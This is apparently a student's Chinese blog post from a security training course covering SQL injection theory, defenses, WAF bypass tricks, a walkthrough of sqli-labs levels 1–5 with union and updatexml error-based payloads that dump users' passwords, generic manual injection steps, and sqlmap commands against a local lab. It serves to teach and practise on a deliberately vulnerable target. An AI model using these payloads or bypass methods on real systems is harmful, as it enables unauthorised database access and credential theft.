实训Day5 SQL注入

2024.8.30

目录

2024.8.30

1.SQL注入

成因

产生的威胁

基本语法

SQL注入原理

SQL注入常用函数及含义

SQL注入防御手段

SQL注入常用绕过WAF的方法

2.sqli-labs通关前5关

第一关

第二关

第三关

第四关

第五关

3.SQLi的手工注入的步骤

1.判断是否存在注入点

2.判断字段数量

 3.判断字段前端回显位置

4.判断数据库信息

5.查找数据库名

6.查找数据库表名

7.查找列名

8.查数据

4.sqlmap通过或验证第六关


今日作业:

1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
3.总结SQLi的手工注入的步骤
4.使用sqlmap通过或验证第六关

1.SQL注入

成因

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

产生的威胁

  1. 猜解后台数据库数据,盗取数据库中存储的敏感信息。
  2. 绕过认证,绕过验证登录网站后台。
  3. 注入可以借助数据库的存储过程进行提权等操作

基本语法

数据库连接mysql -u root-p
查询所有库 show databases;
创建数据库create database database_name;
选择数据库use database_name;
创建表create table database_name (
column1 datatype,
......
) ;
插入数据insert into table_name (column1,column2,column3,...)
values (value1,value2, value3,...)

SQL注入原理

SQL注入(SQL Injection)是一种针对后台数据库的攻击手段,攻击者通过在Web表单的输入域或页面请求的查询字符串中插入(或“注入”)恶意SQL命令,欺骗服务器执行非法的SQL语句,从而实现对数据库的非法访问和操作,如查询、插入、更新、删除数据等。SQL注入攻击发生的主要原因是Web应用程序对用户输入的数据没有进行充分的验证和过滤,导致恶意SQL代码被数据库服务器误认为是正常的SQL语句而执行。

SQL注入的主要原理包括:

  1. 恶意拼接查询:攻击者通过在用户输入的字符串中加入SQL语句,如果程序未对输入进行严格的检查和处理,这些SQL语句就会被拼接到正常的SQL查询中并执行。
  2. 利用注释执行非法命令:SQL语句中可以插入注释,攻击者可以通过构造包含注释的恶意输入来绕过正常的SQL语句逻辑,执行非法的SQL命令。

SQL注入常用函数及含义

SQL注入攻击中常用的函数包括但不限于:

  • concat():拼接字符串,直接拼接,字符之间没有符号。
  • concat_ws():指定符号进行字符串拼接。
  • group_concat():将查询产生的同一个分组的值连接起来,返回一个字符串结果,常用于联合查询注入中。
  • length():返回指定对象的长度,常用于布尔盲注中判断数据库信息的长度。
  • left()right()substr()substring()mid():用于截取字符串,常用于盲注中逐步猜测数据库信息的内容。
  • ascii():返回字符串最左字符的ASCII值,同样用于盲注中。
  • sleep():使数据库查询暂停执行指定的时间,常用于延时盲注中。
  • if():条件判断函数,根据条件返回不同的值,可用于构造特定的SQL注入语句。
  • updatexml()extractvalue():XML处理函数,常用于报错注入中,通过产生XML解析错误来泄露数据库信息。
  • load_file():读取文件,可用于从服务器上读取敏感文件。
  • into outfileinto dumpfile:写入文件,可将恶意代码写入服务器文件系统中。

SQL注入防御手段

为了有效防御SQL注入攻击,可以采取以下措施:

  1. 对用户进行分级管理,严格控制用户的权限:对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。
  2. 使用预处理语句(Prepared Statements):通过预处理语句和参数化查询,可以有效防止SQL注入攻击,因为预处理语句会将SQL语句和参数分开处理,避免了SQL语句的拼接。
  3. 对输入数据进行严格的验证和过滤:对于用户输入的所有数据,都需要进行严格的验证和过滤,特别是那些可能被用于SQL查询的数据。需要过滤掉特殊字符和潜在的恶意代码。
  4. 使用安全参数:在编写SQL查询时,尽量使用数据库提供的安全参数和函数,如MySQL的mysql_real_escape_string()函数,用于转义SQL语句中的特殊字符。
  5. 定期更新和打补丁:确保数据库和Web应用程序的所有组件都是最新的,并及时安装安全补丁,以修复已知的安全漏洞。
  6. 使用Web应用防火墙(WAF):WAF可以检测和阻止SQL注入等Web攻击,通过过滤和监控HTTP请求来保护Web应用程序。

SQL注入常用绕过WAF的方法

尽管WAF可以提供一定的安全保护,但攻击者仍然可能通过一些方法绕过WAF的检测:

  1. 注释符号绕过:使用SQL注释符号(如--、/**/、#)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。
  2. 编码绕过:使用URL编码、Unicode编码等方式来隐藏恶意SQL代码,绕过WAF的检测。
  3. 大小写绕过:利用数据库系统对大小写不敏感的特性,将关键字写成不同的大小写形式,绕过基于大小写的过滤器。
  4. 特殊字符绕过:通过构造包含特殊字符的恶意输入来绕过WAF的检测。
  5. 逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,使用盲注技术绕过WAF的检测。

但是这些绕过方法并不是绝对有效的,且随着WAF技术的不断发展,其防御能力也在不断提升。因此,保持WAF的更新和配置的正确性对于防御SQL注入攻击至关重要。

2.sqli-labs通关前5关

电脑出问题了用云服务器的公网IP做

第一关

首先判断是否存在sql注入,在id=1后加上单引号',返回异常,则存在sql注入

首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数,分别输入以下

?id=1'order by 4 --+

?id=1'order by 3 --+

4报错,3可以,得出有三列

查看表格里面那一列是在页面显示的,在链接后面添加语句

union select 1,2,3--+

进行联合查询来暴露可查询的字段号,看哪 些字段是可以返回给我们前端进行渲染的,不进行返回的字段我们无法利用

获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

查找数据库表名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查找数据库列名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查username和password对应的内容

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

即可得到我们的用户名为Agelina,密码为I-kill-you

第二关

首先进行判断,输入

?id=1'

?id=1--+

发现为数字型注入

判断字段数量

?id=1'order by 4 --+

?id=1'order by 3 --+

4报错,3可以,说明只有三列

查看所有数据库

?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata %23

查看数据库security下的所有表

?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'%23

查看users下的所有列

?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23

查看所有的用户名和密码信息

?id=-1 union select 1,group_concat(username),group_concat(password) from security.users%23

第三关

输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号

判断字段数量,发现还是三列

判断字段前端回显位置

?id=-1') union select 1,2,3--+

查找数据库名

?id=-1') union select 1,database(),version()--+

查找数据库表名

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查找列名

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查找用户名和密码数据

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关

分别用id=1'    id=1"判断是否进行sql注入,发现代码当中对 id 参数进行了 “” 和 () 的包装
所以我们用以下代码来进行注入

?id=1”) --+

判断字段数量,发现还是三列

?id=1") order by 3 --+

?id=1") order by 4 --+

判断字段前端回显位置

?id=-1") union select 1,2,3 --+

查找数据库名

?id=-1") union select 1,2,database() --+

查找数据库表名

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查找列名

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

查找用户名和密码数据

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

第五关

id=i"和id=i'判断是否注入,可以看到查询结果不回显,并且从报错可以判断出本关的闭合是单引号

考虑到可能是盲注,便对其进行盲注测试,这里用sleep()函数,果然有时间延迟

这里使用报错输入函数updatexml()

?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

括号里面的concat是用于连接两个或多个数组,将其以拼接的方式输出到前端页面
0x7e是一个特殊符号 ~ 这是为了区分报错注入后的有用信息,因为页面报错包含太多没用信息

查找表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

查询字段

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+

查找用户名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+

查找密码

?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+

3.SQLi的手工注入的步骤

1.判断是否存在注入点

1.登录
2.注册
3.留⾔
4.验证⽤户身份所属
5.查询某⽇xx信息 
6.订单操作
……

2.判断字段数量

在注⼊点后⾯添加语句【 order by int】,int的值可以是任意数字,但是⼀个数据表的字段数量通常不超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显 

'order by number--+


--注释
在SQL中,-- 是⼀种单⾏注释的开始。但是, --  后⾯必须紧跟⼀个空格(或其他⾮数字、⾮字⺟
的字符),之后的所有内容才会被当作注释处理。如果--  后⾯直接跟了数字、字⺟或某些特殊字符(不包括空格),那么它不会被视为注释的开始,SQL解析器会尝试将-- 作为查询的⼀部分来解析。
--+注释
在SQL注⼊的场景中,--+ 经常被⽤作⼀种技巧来绕过某些过滤机制。这⾥的逻辑是,
 -- 表示注释的开始,但由于某些SQL环境或应⽤可能对-- 进⾏了过滤,攻击者会尝试在 -- 后⾯添加⼀个不常⻅的字符(如+ ),这样过滤规则可能就不会识别出这是⼀个注释的开始。然⽽,从SQL解析的⻆度来看,+ 紧接着 -- (并且-- 后紧跟空格)通常也会被当作注释的⼀部分,因为+ 本身在SQL中(在⼤多数上下⽂中)并不是⼀个操作符(除非它⽤于数学加法),所以--+ 后接空格及之后的内容通常会被忽略
为什么需要--+ 而不是--
在⼀些特定的环境中,⽐如某些数据库管理系统(DBMS)或应⽤程序可能通过简单的字符串匹配来过滤掉-- 作为注释的尝试,以防⽌SQL注⼊。在这些情况下,使⽤--+ 可能绕过这种简单的过滤机制,因为过滤器可能没有预料到攻击者会在-- 后添加额外的字符。 
然⽽,需要强调的是,依赖这种技巧进⾏SQL注⼊是⾮常不稳定的,因为不同的数据库系统或应⽤可能对注释的处理⽅式有所不同。此外,随着安全意识的提⾼,现代的应⽤程序和数据库系统通常会采⽤更复杂的⽅法来防⽌SQL注⼊,包括但不限于使⽤参数化查询、存储过程和ORM框架等

 3.判断字段前端回显位置

在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进⾏联合查询来暴露可查询的字段号,看哪些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤

4.判断数据库信息

利⽤内置函数暴数据库信息

version() -- 版本;

database() -- 数据库;

user() -- ⽤户;

不⽤猜解可⽤字段暴数据库信息 ( 有些⽹站不适⽤ )

and 1=2 union all select version() and 1=2

union all select database() and 1=2

union all select user()

操作系统信息

and 1=2 union all select @@global.version_compile_os from mysql.user

数据库权限

and ord(mid(user(),1,1))=114 -- 返回正常说明为 root

5.查找数据库名

Mysql 5 以上有内置库 information_schema ,存储着mysql的所有数据库和表结构信息
union select information_schema from information_schema.schemata (语句在显示位)  

6.查找数据库表名

union select group_concat(table_name) from information_schema.tables where table_schema=database()--+

注意字段⻓度,1,payload,2,3,…# 

7.查找列名

-1' union select 1,(select group_concat(column_name) from information_schem a.columns where table_name='biaoming'),3,4#

8.查数据

-1' union select 1,(select columnsname from tablename),3,4#

4.sqlmap通过或验证第六关

终于把电脑问题解决了。。。

下载sqlmap,使用cmd输入命令

查看所有数据库和当前数据库

python sqlmap.py -u "http://localhost:8080/sqli-labs-new/Less-6/?id=1" --dbs --batch

查看security中的表

python sqlmap.py -u "http://localhost:8080/sqli-labs-new/Less-6/?id=1" --batch -D security --tables

查看user表中的数据

python sqlmap.py -u "http://localhost:8080/sqli-labs-new/Less-6/?id=1" --batch -D security -T users --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值